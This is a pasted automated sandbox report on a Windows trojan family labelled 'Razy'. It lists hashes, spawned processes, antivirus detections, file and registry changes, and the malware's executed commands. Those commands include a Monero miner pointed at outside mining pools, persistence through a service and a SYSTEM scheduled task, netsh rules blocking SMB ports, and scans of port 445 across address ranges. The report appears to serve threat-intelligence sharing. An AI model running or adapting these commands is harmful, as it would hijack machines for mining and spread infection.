API tools faq
paste
paladin316

1_2019-07-10_02_30.txt

paladin316
Jul 9th, 2019
2,632
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 37.14 KB | None | 0 0
raw download clone embed print report
  1.  
  2. * MalFamily: "Razy"
  3.  
  4. * MalScore: 10.0
  5.  
  6. * File Name: "1"
  7. * File Size: 8994816
  8. * File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
  9. * SHA256: "6641ecd6d39d5043325336637ed71a78c6a946172d9f6a58e99711cd3ac644a8"
  10. * MD5: "9026563dab83df2678253634760139ed"
  11. * SHA1: "d07508d96ba599fe83a57be494f8a0f11d98984c"
  12. * SHA512: "ede7b36be59ca41c27819c13feec621c22d74f428a371297870b6877319f8fb33b3b19e8e4d41a567dbfc1c928392720329d4ec1619073c1bbe7e462c55e3594"
  13. * CRC32: "E3FE5F99"
  14. * SSDEEP: "196608:ujAIjsLuc0gTdhq2vINJOSYFHVTxm2DDkVwCG774gc:uH9vgTvxvITAPrC4xc"
  15.  
  16. * Process Execution:
  17. "1.exe",
  18. "fcyvsp.exe",
  19. "cmd.exe",
  20. "netsh.exe",
  21. "netsh.exe",
  22. "netsh.exe",
  23. "netsh.exe",
  24. "netsh.exe",
  25. "netsh.exe",
  26. "netsh.exe",
  27. "netsh.exe",
  28. "netsh.exe",
  29. "netsh.exe",
  30. "cmd.exe",
  31. "netsh.exe",
  32. "netsh.exe",
  33. "netsh.exe",
  34. "netsh.exe",
  35. "netsh.exe",
  36. "cmd.exe",
  37. "netsh.exe",
  38. "netsh.exe",
  39. "netsh.exe",
  40. "netsh.exe",
  41. "netsh.exe",
  42. "cmd.exe",
  43. "sc.exe",
  44. "cmd.exe",
  45. "schtasks.exe",
  46. "fM.exe",
  47. "cmd.exe",
  48. "svchost.exe",
  49. "cmd.exe",
  50. "svchost.exe",
  51. "cmd.exe",
  52. "svchost.exe",
  53. "cmd.exe",
  54. "svchost.exe",
  55. "cmd.exe",
  56. "cmd.exe",
  57. "cmd.exe",
  58. "svchost.exe"
  59.  
  60.  
  61. * Executed Commands:
  62. "C:\\Windows\\nBKli\\fcyvsp.exe",
  63. "cmd.exe /c del \"C:\\Users\\user\\AppData\\Local\\Temp\\1.exe\"",
  64. "C:\\Windows\\end.bat ",
  65. "sc.exe Create \"Application Layre Gateway Saervice\" type= own type= interact start= demand DisplayName= \"Can not be deledted\" binPath= \"cmd.exe /c start \"C:\\Windows\\boy.exe\"",
  66. "C:\\Windows\\nBKli\\qdx.bat ",
  67. "C:\\Windows\\nBKli\\fM.exe -o stratum+tcp://monero.monerov9.com:18650 -o stratum+tcp://note.monerov9.com:7777 -o stratum+tcp://monerov9.ppxxmr.org:5555 -u 44FaSvDWdKAB2R3n1XUZnjavNWwXEvyixVP8FhmccbNC6TGuCs4R937YWuoewbbSmMEsEJuYzqUwucVHhW73DwXo4ttSdNS -p x -k --donate-level=1",
  68. "C:\\Windows\\nBKli\\s.bat ",
  69. "netsh ipsec static add policy name=ipsec_ply",
  70. "netsh ipsec static add filterlist name=deny_pt",
  71. "netsh ipsec static add filterlist name=allow_pt",
  72. "netsh ipsec static add filter filterlist=deny_pt srcaddr=any dstaddr=ME dstport=445 protocol=TCP",
  73. "netsh ipsec static add filter filterlist=deny_pt srcaddr=any dstaddr=ME dstport=139 protocol=TCP",
  74. "netsh ipsec static add filteraction name=deny action=block",
  75. "netsh ipsec static add filteraction name=allow action=negotiate",
  76. "netsh ipsec static add rule name=deny policy=ipsec_ply filterlist=deny_pt filteraction=deny",
  77. "netsh ipsec static add rule name=allow policy=ipsec_ply filterlist=allow_pt filteraction=allow psk=\"(@=P#$bV4$\"",
  78. "netsh ipsec static set policy name=ipsec_ply assign=y",
  79. "schtasks.exe /create /TN \"\\Microsoft\\Windows\\UPnP\\Services\" /RU SYSTEM /TR \"C:\\Windows\\nBKli\\fcyvsp.exe\" /SC ONSTART",
  80. "svchost.exe syn 192.168.0.0 192.168.255.255 445 /save",
  81. "svchost.exe tcp 192.168.0.0 192.168.255.255 445 700 /save",
  82. "svchost.exe syn 33.165.0.0 33.165.255.255 445 /save",
  83. "svchost.exe tcp 33.165.0.0 33.165.255.255 445 700 /save"
  84.  
  85.  
  86. * Signatures Detected:
  87.  
  88. "Description": "Creates RWX memory",
  89. "Details":
  90.  
  91.  
  92. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  93. "Details":
  94.  
  95. "ioc": "http://ec.360bc.cnhttp"
  96.  
  97.  
  98. "ioc": "www.eyybc.com/forumdisplay.php"
  99.  
  100.  
  101. "ioc": "memcp.php/ip.asp/time.asp/gonggao.txt/ec-user6.php/ec-bd.php/ec-jh.php"
  102.  
  103.  
  104. "ioc": "http://www.super-ec.cn"
  105.  
  106.  
  107.  
  108.  
  109. "Description": "Expresses interest in specific running processes",
  110. "Details":
  111.  
  112. "process": "System"
  113.  
  114.  
  115.  
  116.  
  117. "Description": "Reads data out of its own binary image",
  118. "Details":
  119.  
  120. "self_read": "process: 1.exe, pid: 2988, offset: 0x00000000, length: 0x00894000"
  121.  
  122.  
  123. "self_read": "process: fcyvsp.exe, pid: 3056, offset: 0x00000000, length: 0x00894000"
  124.  
  125.  
  126.  
  127.  
  128. "Description": "A process created a hidden window",
  129. "Details":
  130.  
  131. "Process": "fcyvsp.exe -> C:\\Windows\\end.bat"
  132.  
  133.  
  134. "Process": "fcyvsp.exe -> C:\\Windows\\end.bat"
  135.  
  136.  
  137. "Process": "fcyvsp.exe -> C:\\Windows\\end.bat"
  138.  
  139.  
  140. "Process": "fcyvsp.exe -> C:\\Windows\\end.bat"
  141.  
  142.  
  143. "Process": "fcyvsp.exe -> C:\\Windows\\nBKli\\qdx.bat"
  144.  
  145.  
  146. "Process": "fcyvsp.exe -> C:\\Windows\\nBKli\\fM.exe"
  147.  
  148.  
  149. "Process": "fcyvsp.exe -> C:\\Windows\\nBKli\\s.bat"
  150.  
  151.  
  152. "Process": "fcyvsp.exe -> C:\\Windows\\nBKli\\s.bat"
  153.  
  154.  
  155. "Process": "fcyvsp.exe -> C:\\Windows\\nBKli\\s.bat"
  156.  
  157.  
  158. "Process": "fcyvsp.exe -> C:\\Windows\\nBKli\\s.bat"
  159.  
  160.  
  161. "Process": "fcyvsp.exe -> C:\\Windows\\nBKli\\s.bat"
  162.  
  163.  
  164. "Process": "fcyvsp.exe -> C:\\Windows\\nBKli\\s.bat"
  165.  
  166.  
  167.  
  168.  
  169. "Description": "Performs some HTTP requests",
  170. "Details":
  171.  
  172. "url": "http://www.ip138.com/ips138.asp?ip="
  173.  
  174.  
  175. "url": "http://www.ip138.com/"
  176.  
  177.  
  178.  
  179.  
  180. "Description": "Unconventionial language used in binary resources: Chinese (Simplified)",
  181. "Details":
  182.  
  183.  
  184. "Description": "The binary likely contains encrypted or compressed data.",
  185. "Details":
  186.  
  187. "section": "name: \\x00 , entropy: 7.99, characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE, raw_size: 0x007c7000, virtual_size: 0x012a4000"
  188.  
  189.  
  190. "section": "name: jnwaxkhp, entropy: 7.54, characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE, raw_size: 0x000c6000, virtual_size: 0x000c6000"
  191.  
  192.  
  193.  
  194.  
  195. "Description": "Deletes its original binary from disk",
  196. "Details":
  197.  
  198.  
  199. "Description": "Checks for the presence of known windows from debuggers and forensic tools",
  200. "Details":
  201.  
  202. "Window": "OLLYDBG"
  203.  
  204.  
  205. "Window": "GBDYLLO"
  206.  
  207.  
  208. "Window": "pediy06"
  209.  
  210.  
  211. "Window": "OLLYDBG"
  212.  
  213.  
  214. "Window": "GBDYLLO"
  215.  
  216.  
  217. "Window": "pediy06"
  218.  
  219.  
  220.  
  221.  
  222. "Description": "A process attempted to delay the analysis task by a long amount of time.",
  223. "Details":
  224.  
  225. "Process": "netsh.exe tried to sleep 1200 seconds, actually delayed analysis time by 0 seconds"
  226.  
  227.  
  228. "Process": "fcyvsp.exe tried to sleep 2749 seconds, actually delayed analysis time by 0 seconds"
  229.  
  230.  
  231. "Process": "svchost.exe tried to sleep 300 seconds, actually delayed analysis time by 0 seconds"
  232.  
  233.  
  234.  
  235.  
  236. "Description": "Attempts to repeatedly call a single API many times in order to delay analysis time",
  237. "Details":
  238.  
  239. "Spam": "1.exe (2988) called API GetSystemTimeAsFileTime 23630 times"
  240.  
  241.  
  242.  
  243.  
  244. "Description": "Attempts to execute a Living Off The Land Binary command for post exeploitation",
  245. "Details":
  246.  
  247. "MITRE T1078 - schtask": "(Tactic: Execution, Persistence, Privilege Escalation)"
  248.  
  249.  
  250.  
  251.  
  252. "Description": "Installs itself for autorun at Windows startup",
  253. "Details":
  254.  
  255. "key": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\shell"
  256.  
  257.  
  258. "data": "Explorer.exe C:\\Windows\\nBKli\\fcyvsp.exe"
  259.  
  260.  
  261. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\load"
  262.  
  263.  
  264. "data": "C:\\Windows\\nBKli\\fcyvsp.exe"
  265.  
  266.  
  267. "task": "schtasks.exe /create /TN \"\\Microsoft\\Windows\\UPnP\\Services\" /RU SYSTEM /TR \"C:\\Windows\\nBKli\\fcyvsp.exe\" /SC ONSTART"
  268.  
  269.  
  270.  
  271.  
  272. "Description": "Checks for the presence of known devices from debuggers and forensic tools",
  273. "Details":
  274.  
  275.  
  276. "Description": "Detects the presence of Wine emulator via registry key",
  277. "Details":
  278.  
  279.  
  280. "Description": "File has been identified by 49 Antiviruses on VirusTotal as malicious",
  281. "Details":
  282.  
  283. "Bkav": "HW32.Packed."
  284.  
  285.  
  286. "MicroWorld-eScan": "Gen:Variant.Razy.317367"
  287.  
  288.  
  289. "CAT-QuickHeal": "Trojan.Generic"
  290.  
  291.  
  292. "Qihoo-360": "Win32/Trojan.992"
  293.  
  294.  
  295. "McAfee": "Artemis!9026563DAB83"
  296.  
  297.  
  298. "Cylance": "Unsafe"
  299.  
  300.  
  301. "K7AntiVirus": "Trojan ( 004eb1bf1 )"
  302.  
  303.  
  304. "BitDefender": "Gen:Variant.Razy.317367"
  305.  
  306.  
  307. "K7GW": "Trojan ( 004eb1bf1 )"
  308.  
  309.  
  310. "Symantec": "Trojan.Gen.MBT"
  311.  
  312.  
  313. "ESET-NOD32": "a variant of Win32/Packed.Themida.AAN"
  314.  
  315.  
  316. "APEX": "Malicious"
  317.  
  318.  
  319. "Paloalto": "generic.ml"
  320.  
  321.  
  322. "GData": "Gen:Variant.Razy.317367"
  323.  
  324.  
  325. "Kaspersky": "HEUR:Trojan.Win32.Generic"
  326.  
  327.  
  328. "Alibaba": "Packed:Win32/Themida.9bc8e1ba"
  329.  
  330.  
  331. "AegisLab": "Trojan.Win32.Generic.4!c"
  332.  
  333.  
  334. "Avast": "Win32:Trojan-gen"
  335.  
  336.  
  337. "Tencent": "Win32.Packed.Themida.Hphm"
  338.  
  339.  
  340. "Ad-Aware": "Gen:Variant.Razy.317367"
  341.  
  342.  
  343. "Sophos": "Mal/Generic-S"
  344.  
  345.  
  346. "Comodo": "TrojWare.Win32.Urelas.X@56i79a"
  347.  
  348.  
  349. "F-Secure": "Trojan.TR/AD.EquationDrug.zvmfv"
  350.  
  351.  
  352. "DrWeb": "Trojan.DownLoader29.8646"
  353.  
  354.  
  355. "VIPRE": "Trojan.Win32.Generic!BT"
  356.  
  357.  
  358. "Invincea": "heuristic"
  359.  
  360.  
  361. "McAfee-GW-Edition": "BehavesLike.Win32.DealPly.rc"
  362.  
  363.  
  364. "FireEye": "Generic.mg.9026563dab83df26"
  365.  
  366.  
  367. "Emsisoft": "Gen:Variant.Razy.317367 (B)"
  368.  
  369.  
  370. "SentinelOne": "DFI - Suspicious PE"
  371.  
  372.  
  373. "Cyren": "W32/Trojan.FUKE-5265"
  374.  
  375.  
  376. "Avira": "TR/AD.EquationDrug.zvmfv"
  377.  
  378.  
  379. "MAX": "malware (ai score=81)"
  380.  
  381.  
  382. "Endgame": "malicious (high confidence)"
  383.  
  384.  
  385. "Arcabit": "Trojan.Razy.D4D7B7"
  386.  
  387.  
  388. "ViRobot": "Trojan.Win32.Z.Razy.8994816"
  389.  
  390.  
  391. "ZoneAlarm": "HEUR:Trojan.Win32.Generic"
  392.  
  393.  
  394. "Microsoft": "Trojan:Win32/Eqtonex.C"
  395.  
  396.  
  397. "AhnLab-V3": "Trojan/Win32.EquationDrug.R238981"
  398.  
  399.  
  400. "Acronis": "suspicious"
  401.  
  402.  
  403. "ALYac": "Gen:Variant.Razy.317367"
  404.  
  405.  
  406. "Malwarebytes": "Trojan.EquationDrug"
  407.  
  408.  
  409. "Rising": "Trojan.Generic!8.C3 (CLOUD)"
  410.  
  411.  
  412. "Ikarus": "Trojan.Win32.Themida"
  413.  
  414.  
  415. "Fortinet": "W32/PossibleThreat"
  416.  
  417.  
  418. "AVG": "Win32:Trojan-gen"
  419.  
  420.  
  421. "Cybereason": "malicious.dab83d"
  422.  
  423.  
  424. "CrowdStrike": "win/malicious_confidence_90% (W)"
  425.  
  426.  
  427. "MaxSecure": "Trojan.Malware.7164915.susgen"
  428.  
  429.  
  430.  
  431.  
  432. "Description": "Detects VirtualBox using ACPI tricks",
  433. "Details":
  434.  
  435.  
  436. "Description": "Detects VirtualBox through the presence of a registry key",
  437. "Details":
  438.  
  439.  
  440. "Description": "Created a service that was not started",
  441. "Details":
  442.  
  443. "service": "Application Layre Gateway Saervice"
  444.  
  445.  
  446.  
  447.  
  448. "Description": "Anomalous binary characteristics",
  449. "Details":
  450.  
  451. "anomaly": "Unprintable characters found in section name"
  452.  
  453.  
  454.  
  455.  
  456. "Description": "Created network traffic indicative of malicious activity",
  457. "Details":
  458.  
  459. "signature": "ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection"
  460.  
  461.  
  462.  
  463.  
  464.  
  465. * Started Service:
  466. "PolicyAgent"
  467.  
  468.  
  469. * Mutexes:
  470. "DBWinMutex",
  471. "asdas46574687fgssdf541654gdf54687sdfgdfg"
  472.  
  473.  
  474. * Modified Files:
  475. "\\??\\SICE",
  476. "\\??\\SIWVID",
  477. "\\??\\NTICE",
  478. "C:\\Windows\\nBKli\\tscl.html",
  479. "C:\\Windows\\IME\\tps.exe",
  480. "C:\\Windows\\boy.exe",
  481. "C:\\Windows\\nBKli\\fcyvsp.exe",
  482. "C:\\Windows\\end.bat",
  483. "C:\\Windows\\nBKli\\qdx.bat",
  484. "C:\\Windows\\nBKli\\chrome..exe",
  485. "C:\\Windows\\nBKli\\chrome..xml",
  486. "C:\\Windows\\nBKli\\chrome..fb",
  487. "C:\\Windows\\nBKli\\Cstr.exe",
  488. "C:\\Windows\\nBKli\\Cstr.fb",
  489. "C:\\Windows\\nBKli\\Cstr.xml",
  490. "C:\\Windows\\nBKli\\adfw.dll",
  491. "C:\\Windows\\nBKli\\adfw-2.dll",
  492. "C:\\Windows\\nBKli\\cnli-0.dll",
  493. "C:\\Windows\\nBKli\\cnli-1.dll",
  494. "C:\\Windows\\nBKli\\coli-0.dll",
  495. "C:\\Windows\\nBKli\\crli-0.dll",
  496. "C:\\Windows\\nBKli\\dmgd-1.dll",
  497. "C:\\Windows\\nBKli\\dmgd-4.dll",
  498. "C:\\Windows\\nBKli\\esco-0.dll",
  499. "C:\\Windows\\nBKli\\etch-0.dll",
  500. "C:\\Windows\\nBKli\\etchCore-0.x64.dll",
  501. "C:\\Windows\\nBKli\\etchCore-0.x86.dll",
  502. "C:\\Windows\\nBKli\\eteb-2.dll",
  503. "C:\\Windows\\nBKli\\etebCore-2.x64.dll",
  504. "C:\\Windows\\nBKli\\etebCore-2.x86.dll",
  505. "C:\\Windows\\nBKli\\exma.dll",
  506. "C:\\Windows\\nBKli\\exma-1.dll",
  507. "C:\\Windows\\nBKli\\iconv.dll",
  508. "C:\\Windows\\nBKli\\libcurl.dll",
  509. "C:\\Windows\\nBKli\\libeay32.dll",
  510. "C:\\Windows\\nBKli\\libiconv-2.dll",
  511. "C:\\Windows\\nBKli\\libxml2.dll",
  512. "C:\\Windows\\nBKli\\pcla-0.dll",
  513. "C:\\Windows\\nBKli\\pcre-0.dll",
  514. "C:\\Windows\\nBKli\\pcrecpp-0.dll",
  515. "C:\\Windows\\nBKli\\pcreposix-0.dll",
  516. "C:\\Windows\\nBKli\\posh.dll",
  517. "C:\\Windows\\nBKli\\posh-0.dll",
  518. "C:\\Windows\\nBKli\\riar.dll",
  519. "C:\\Windows\\nBKli\\riar-2.dll",
  520. "C:\\Windows\\nBKli\\ssleay32.dll",
  521. "C:\\Windows\\nBKli\\tibe.dll",
  522. "C:\\Windows\\nBKli\\tibe-1.dll",
  523. "C:\\Windows\\nBKli\\tibe-2.dll",
  524. "C:\\Windows\\nBKli\\trch.dll",
  525. "C:\\Windows\\nBKli\\trch-0.dll",
  526. "C:\\Windows\\nBKli\\trch-1.dll",
  527. "C:\\Windows\\nBKli\\trfo.dll",
  528. "C:\\Windows\\nBKli\\trfo-0.dll",
  529. "C:\\Windows\\nBKli\\trfo-2.dll",
  530. "C:\\Windows\\nBKli\\tucl.dll",
  531. "C:\\Windows\\nBKli\\tucl-1.dll",
  532. "C:\\Windows\\nBKli\\ucl.dll",
  533. "C:\\Windows\\nBKli\\xdvl-0.dll",
  534. "C:\\Windows\\nBKli\\zibe.dll",
  535. "C:\\Windows\\nBKli\\zlib1.dll",
  536. "C:\\Windows\\nBKli\\TFf",
  537. "C:\\Windows\\nBKli\\fM.exe",
  538. "C:\\Windows\\nBKli\\svchost.exe",
  539. "C:\\Windows\\nBKli\\s.bat",
  540. "\\Device\\Http\\Communication",
  541. "C:\\Windows\\sysnative\\Tasks\\Microsoft\\Windows\\UPnP\\Services",
  542. "C:\\Windows\\appcompat\\Programs\\RecentFileCache.bcf",
  543. "C:\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb",
  544. "C:\\Windows\\SoftwareDistribution\\DataStore\\Logs\\edb.chk",
  545. "C:\\Windows\\nBKli\\s1.txt",
  546. "C:\\Windows\\nBKli\\Result.txt"
  547.  
  548.  
  549. * Deleted Files:
  550. "C:\\Windows\\end.bat",
  551. "C:\\Windows\\nBKli\\qdx.bat",
  552. "C:\\Users\\user\\AppData\\Local\\Temp\\1.exe",
  553. "C:\\Windows\\nBKli\\Result.txt",
  554. "C:\\Windows\\nBKli\\s1.txt"
  555.  
  556.  
  557. * Modified Registry Keys:
  558. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\run",
  559. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\load",
  560. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\shell",
  561. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
  562. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@%SystemRoot%\\system32\\dhcpqec.dll,-100",
  563. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@%SystemRoot%\\system32\\dhcpqec.dll,-101",
  564. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@%SystemRoot%\\system32\\dhcpqec.dll,-103",
  565. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@%SystemRoot%\\system32\\dhcpqec.dll,-102",
  566. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@%SystemRoot%\\system32\\napipsec.dll,-1",
  567. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@%SystemRoot%\\system32\\napipsec.dll,-2",
  568. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@%SystemRoot%\\system32\\napipsec.dll,-4",
  569. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@%SystemRoot%\\system32\\napipsec.dll,-3",
  570. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@%SystemRoot%\\system32\\tsgqec.dll,-100",
  571. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@%SystemRoot%\\system32\\tsgqec.dll,-101",
  572. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@%SystemRoot%\\system32\\tsgqec.dll,-102",
  573. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@%SystemRoot%\\system32\\tsgqec.dll,-103",
  574. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@%SystemRoot%\\system32\\eapqec.dll,-100",
  575. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@%SystemRoot%\\system32\\eapqec.dll,-101",
  576. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@%SystemRoot%\\system32\\eapqec.dll,-102",
  577. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@%SystemRoot%\\system32\\eapqec.dll,-103",
  578. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecISAKMPPolicy2b2b6b17-733c-4aa3-94b1-b7a4fb3b2532",
  579. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecISAKMPPolicy2b2b6b17-733c-4aa3-94b1-b7a4fb3b2532\\className",
  580. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecISAKMPPolicy2b2b6b17-733c-4aa3-94b1-b7a4fb3b2532\\name",
  581. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecISAKMPPolicy2b2b6b17-733c-4aa3-94b1-b7a4fb3b2532\\ipsecID",
  582. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecISAKMPPolicy2b2b6b17-733c-4aa3-94b1-b7a4fb3b2532\\ipsecDataType",
  583. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecISAKMPPolicy2b2b6b17-733c-4aa3-94b1-b7a4fb3b2532\\ipsecData",
  584. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecISAKMPPolicy2b2b6b17-733c-4aa3-94b1-b7a4fb3b2532\\whenChanged",
  585. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy770b2190-07bf-4556-92cb-b0e7531fbfb2",
  586. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy770b2190-07bf-4556-92cb-b0e7531fbfb2\\className",
  587. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy770b2190-07bf-4556-92cb-b0e7531fbfb2\\name",
  588. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy770b2190-07bf-4556-92cb-b0e7531fbfb2\\ipsecID",
  589. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy770b2190-07bf-4556-92cb-b0e7531fbfb2\\ipsecNegotiationPolicyAction",
  590. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy770b2190-07bf-4556-92cb-b0e7531fbfb2\\ipsecNegotiationPolicyType",
  591. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy770b2190-07bf-4556-92cb-b0e7531fbfb2\\ipsecDataType",
  592. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy770b2190-07bf-4556-92cb-b0e7531fbfb2\\ipsecData",
  593. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy770b2190-07bf-4556-92cb-b0e7531fbfb2\\whenChanged",
  594. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecPolicyd1c155cc-4661-45df-8768-9230678eb6f5",
  595. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecPolicyd1c155cc-4661-45df-8768-9230678eb6f5\\className",
  596. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecPolicyd1c155cc-4661-45df-8768-9230678eb6f5\\name",
  597. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecPolicyd1c155cc-4661-45df-8768-9230678eb6f5\\ipsecName",
  598. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecPolicyd1c155cc-4661-45df-8768-9230678eb6f5\\ipsecID",
  599. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecPolicyd1c155cc-4661-45df-8768-9230678eb6f5\\ipsecDataType",
  600. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecPolicyd1c155cc-4661-45df-8768-9230678eb6f5\\ipsecData",
  601. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecPolicyd1c155cc-4661-45df-8768-9230678eb6f5\\ipsecISAKMPReference",
  602. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecPolicyd1c155cc-4661-45df-8768-9230678eb6f5\\whenChanged",
  603. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecISAKMPPolicy2b2b6b17-733c-4aa3-94b1-b7a4fb3b2532\\ipsecOwnersReference",
  604. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNFA8337379d-ab13-4a4d-a5bd-15691ebc083b",
  605. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNFA8337379d-ab13-4a4d-a5bd-15691ebc083b\\className",
  606. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNFA8337379d-ab13-4a4d-a5bd-15691ebc083b\\name",
  607. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNFA8337379d-ab13-4a4d-a5bd-15691ebc083b\\ipsecID",
  608. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNFA8337379d-ab13-4a4d-a5bd-15691ebc083b\\ipsecDataType",
  609. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNFA8337379d-ab13-4a4d-a5bd-15691ebc083b\\ipsecData",
  610. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNFA8337379d-ab13-4a4d-a5bd-15691ebc083b\\ipsecNegotiationPolicyReference",
  611. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNFA8337379d-ab13-4a4d-a5bd-15691ebc083b\\whenChanged",
  612. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecPolicyd1c155cc-4661-45df-8768-9230678eb6f5\\ipsecNFAReference",
  613. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNFA8337379d-ab13-4a4d-a5bd-15691ebc083b\\ipsecOwnersReference",
